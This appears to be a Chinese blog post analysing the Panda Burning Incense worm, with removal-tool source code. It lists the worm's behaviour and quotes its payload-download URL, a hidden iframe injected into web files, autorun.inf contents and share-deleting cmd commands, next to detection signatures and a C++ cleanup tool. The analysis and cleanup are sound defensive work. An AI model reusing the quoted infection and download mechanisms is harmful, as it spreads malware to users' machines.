熊猫烧香分析报告

样本信息

病毒名称:512301C535C88255C9A252FDF70B7A03
所属家族:蠕虫
MD5值:512301C535C88255C9A252FDF70B7A03
SHA1值:CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32:E334747C
病毒行为:
将自身拷贝到C:\Windows\System32\drivers\spo0lsv.exe,然后结束自身
运行拷贝后的程序,并将其设置注册表启动项。
运行过程中,遍历C盘下所有文件夹,除了windows文件夹下的。
将所有exe,scr,pif,com,htm,html,asp,php,jsp,aspx修改为熊猫烧香病毒文件。
每个文件夹下面还会写入一个Desktop_.ini文件,内容为当天日期。
遍历系统所有进程,发现运行了指定的程序,会将其结束。
枚举了所有窗口,发现有关键字符的标题,发送WM_QUIT消息将其退出进程
使用按键组合让窗口不可正常显示
连接了可疑的网站,读取远程的Text文件,通过URL下载指定的病毒文件并运行

测试环境及工具

测试环境为虚拟机win7专业版
所使用到的工具:火绒剑,Pchunter,od,ida,彗星小助手

主要行为

定时创建线程,将病毒程序写入注册表作为启动项,检测并关闭指定的服务项
在这里插入图片描述

设置开机启动项。
在这里插入图片描述

关闭指定服务
在这里插入图片描述

盘符目录下生成autorun.inf,setup.exe并隐藏。设置自动播放文件配置,打开盘符再次感染。
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
在这里插入图片描述
在这里插入图片描述

运行期间会检测系统所有进程,发现指定的进程会将其关闭
在这里插入图片描述
在这里插入图片描述
创建线程枚举桌面所有窗口,检查指定特征库内的窗口标题,如果发现窗口打开了,会发送消息将其关闭
在这里插入图片描述
部分特征库文本
在这里插入图片描述

部分窗口无法关闭,使用按键消息,使其不能正常显示窗口
在这里插入图片描述

创建时钟访问指定网页: http://www.ac86.cn/66/up.txt
下载远程的text文件内的病毒文件,然后运行
在这里插入图片描述

创建线程执行了以下cmd命令,实现关闭共享
cmd.exe /c net share $ /del /y
cmd.exe /c net share admin$ /del /y
在这里插入图片描述

发现后缀名为GHO的文件会将其删除
在这里插入图片描述

发现指定的后缀名文件,会感染其文件
在这里插入图片描述

期间会判断某些特定的文件名,跳过感染操作
在这里插入图片描述

感染行为,将可执行的源文件读入内存,拷贝自身覆盖原有文件,然后在病毒文件末尾追加原有文件,WhBoy.exe + 原有文件尺寸。
在这里插入图片描述

Html,asp网页代码类文件感染,会在其最后嵌入其他代码。

src="http://www.ac86.cn/66/index.htm" width="0" height="0">

在这里插入图片描述

在这里插入图片描述

恶意程序对用户造成的危害

对用户C盘目录下指定格式文件进行感染,修改原有的文件为病毒文件,
将源文件追加到病毒文件末尾,并增加随机文本标识。
每个盘符生成autorun.inf,setup.exe并隐藏。
每次打开盘符就会执行病毒程序,再次感染。
删除所有GHO备份文件
占用系统大量资源,不停遍历文件,连接网络,读取下载远程木马文件并运行

加固后的恶意代码

病毒文件进行了加壳,使用FSG2.0压缩壳
在这里插入图片描述

提取病毒的特征,利用杀毒软件查杀

可以通过查找utf8字符串:
WhBoy,xBoy,spo0lsv.exe等字符串进行查杀

通过二进制特征查杀:
75C26A0068C0CE4000E86F7DFFFF
jnz X0040CE1B ; 0040CE1B
push 0x0 ; /ShowState = SW_HIDE
push 0x40CEC0 ; |CmdLine = “cmd.exe /c net share admin$ /del /y”
call 00404BD4 ; \WinExec

手工查杀步骤或是工具查杀步骤或是查杀思路等

编写工具,删除所有盘符下的autorun.inf,setup.exe,终止进程spo0lsv.exe,
删除C:\Windows\System32\drivers\spo0lsv.exe文件。
删除启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare
还原注册表项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue值修改为1

遍历所有可执行文件,读取被感染的文件,文件尾部记录源文件的尺寸,然后从1F000开始读取源文件数据,写出到文件,恢复原来的文件。

遍历所以网页代码有关文件,读取被感染文件,去除尾部嵌入的代码,还原原本的代码文件

C++查杀工具部分源码

DWORD GetProcessPid(CStringA nProcessName)
{
	PROCESSENTRY32 nPT;
	nPT.dwSize = sizeof(nPT);
	HANDLE nSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	BOOL nRet = Process32First(nSnapShot, &nPT);
	while (nRet)
	{
		if (nProcessName == CStringA(nPT.szExeFile))
		{
			return nPT.th32ProcessID;
		}
		nRet = Process32Next(nSnapShot, &nPT);
	}
	return 0;
}
vector<CStringA> GetDriverList()
{
	vector<CStringA>nDiverList;
	TCHAR nDrive[MAX_PATH];
	GetLogicalDriveStrings(100, (LPWSTR)nDrive);
	TCHAR* pName = nDrive;

	while (*pName != 0) {
		nDiverList.push_back(pName);
		pName += _tcslen(pName) + 1;
	}
	return nDiverList;
}

void KillVir(CStringA nFilePath, CStringA nFileName)
{
	int nVirType = 0;
	
	CStringA nLastName;
	nLastName = PathFindExtensionA(nFileName);
	nLastName.MakeUpper();
	

	if (nLastName == ".EXE" || nLastName == ".SCR" || nLastName == ".PIF" || nLastName == ".COM")
		nVirType = 1;
	else if (nLastName == ".HTML" || nLastName == ".HTM" || nLastName == ".ASP" || nLastName == ".ASPX" || nLastName == ".JSP" || nLastName == ".PHP")
		nVirType = 2;
	else return;
	//exe,scr,pif,com,htm,html,asp,php,jsp,aspx


	FILE *pFile = nullptr;
	char *nBuff = nullptr;
	int nFileSize = 0;
	fopen_s(&pFile, nFilePath, "rb");
	fseek(pFile, 0, SEEK_END);
	nFileSize = ftell(pFile);
	rewind(pFile);
	nBuff = new char[nFileSize] {};
	fread(nBuff, nFileSize, 1, pFile);
	fclose(pFile);


	int i = 0;
	if (nVirType == 1)
	{
		for (i = 0; i < 13; i++)
		{
			if (*(nBuff + nFileSize - 13 + i) == (char)0x02)break;
		}

		if (i == 13)
		{
			//printf("未感染文件!%s\n", nFilePath);
			delete[]nBuff;
			return;
		}
		if (*(nBuff + nFileSize - 1) != (char)0x01)
		{			
			printf("未感染文件!%s\n", nFilePath);
			delete[]nBuff;
			return;
		}

		char nTemp[13]{};
		int nExeSize = 0;
		memcpy_s(nTemp, 13, nBuff + nFileSize - 13 + i + 1, 13 - i - 2);
		sscanf_s(nTemp, "%d", &nExeSize);
		if (nExeSize <= 0)
		{
			delete[]nBuff;
			return;
		}

		printf("感染文件类型:%s,尺寸:%d\n", nLastName, nExeSize);


		char *NewFile = new char[nExeSize] {};

		memcpy_s(NewFile, nExeSize, nBuff + 0x1f000, nExeSize);

		if (!DeleteFileA(nFilePath))
		{
			printf("修复%s失败!%s\n", nLastName, nFilePath);
			delete[]NewFile;
			delete[]nBuff;
			return;
		}


		fopen_s(&pFile, nFilePath, "wb");
		fwrite(NewFile, nExeSize, 1, pFile);
		fclose(pFile);

		delete[]NewFile;

		printf("修复%s成功!%s\n", nLastName, nFilePath);

	}
	else 
	{
		CStringA nFileCode(nBuff);
		if (nFileCode.Find("www.ac86.cn/66/index.htm") != -1)
		{
			int nHtmlSize = nFileSize - 76;
			char *NewFile = new char[nHtmlSize] {};

			memcpy_s(NewFile, nHtmlSize, nBuff , nHtmlSize);

			fopen_s(&pFile, nFilePath, "wb");
			fwrite(NewFile, nHtmlSize, 1, pFile);
			fclose(pFile);
			
			
			delete[]NewFile;
			printf("修复%s成功!%s\n", nLastName, nFilePath);
		}
	}



	delete[]nBuff;
	nBuff = nullptr;
}
void FindFile(CStringA nDir)
{
	WIN32_FIND_DATAA nFileData = { 0 };
	HANDLE hFind = INVALID_HANDLE_VALUE;
	hFind = FindFirstFileA(nDir + L"\\*", &nFileData);
	if (hFind == INVALID_HANDLE_VALUE ) return;

	do {
		if (CStringA(nFileData.cFileName) == "." || CStringA(nFileData.cFileName) == "..")
		{
			FILE *pFile = nullptr;
			fopen_s(&pFile, nDir + "\\Desktop_.ini", "rb");
			if (pFile == nullptr)
			{
				continue;
			}
			fclose(pFile);

			if (SetFileAttributesA(nDir + "\\Desktop_.ini", FILE_ATTRIBUTE_NORMAL))
			{
				DeleteFileA(nDir + "\\Desktop_.ini");
				printf("删除文件成功:%s\n", nDir + "\\Desktop_.ini");
			}
			else
				printf("删除文件失败:%s\n", nDir + "\\Desktop_.ini");
			continue;
		}

		if (nFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)	
			FindFile(nDir + "\\" + nFileData.cFileName);
		else
		{
			KillVir(nDir + "\\" + nFileData.cFileName, nFileData.cFileName);
		}

	} while (FindNextFileA(hFind, &nFileData));


}

int main()
{

	TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessPid("spo0lsv.exe")), 0);

	SetFileAttributesA("C:\\Windows\\System32\\drivers\\spo0lsv.exe", FILE_ATTRIBUTE_NORMAL);
	DeleteFileA("C:\\Windows\\System32\\drivers\\spo0lsv.exe");


	//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\svcshare
	HKEY hKey = NULL;
	int nError = RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", &hKey);
	if (nError != ERROR_SUCCESS) MessageBoxA(NULL, "打开注册表失败1", "提示", MB_ICONWARNING);
	RegDeleteValueA(hKey, "svcshare");
	RegCloseKey(hKey);

	//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\\CheckedValue
	nError = RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\", &hKey);
	if (nError != ERROR_SUCCESS) MessageBoxA(NULL, "打开注册表失败2", "提示", MB_ICONWARNING);
	DWORD nVal = 1;
	RegSetValueExA(hKey, "CheckedValue", 0, REG_DWORD, (CONST BYTE*)&nVal, sizeof(DWORD));
	RegCloseKey(hKey);


	vector<CStringA>nDiverList;
	nDiverList = GetDriverList();

	for (auto &val : nDiverList)
	{
		SetFileAttributesA(val + "\\autorun.inf", FILE_ATTRIBUTE_NORMAL);
		DeleteFileA(val + "\\autorun.inf");

		SetFileAttributesA(val + "\\setup.exe", FILE_ATTRIBUTE_NORMAL);
		DeleteFileA(val + "\\setup.exe");

		FindFile(val);
	};

	printf("处理成功!\n");

	system("pause");

    return 0;
}
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值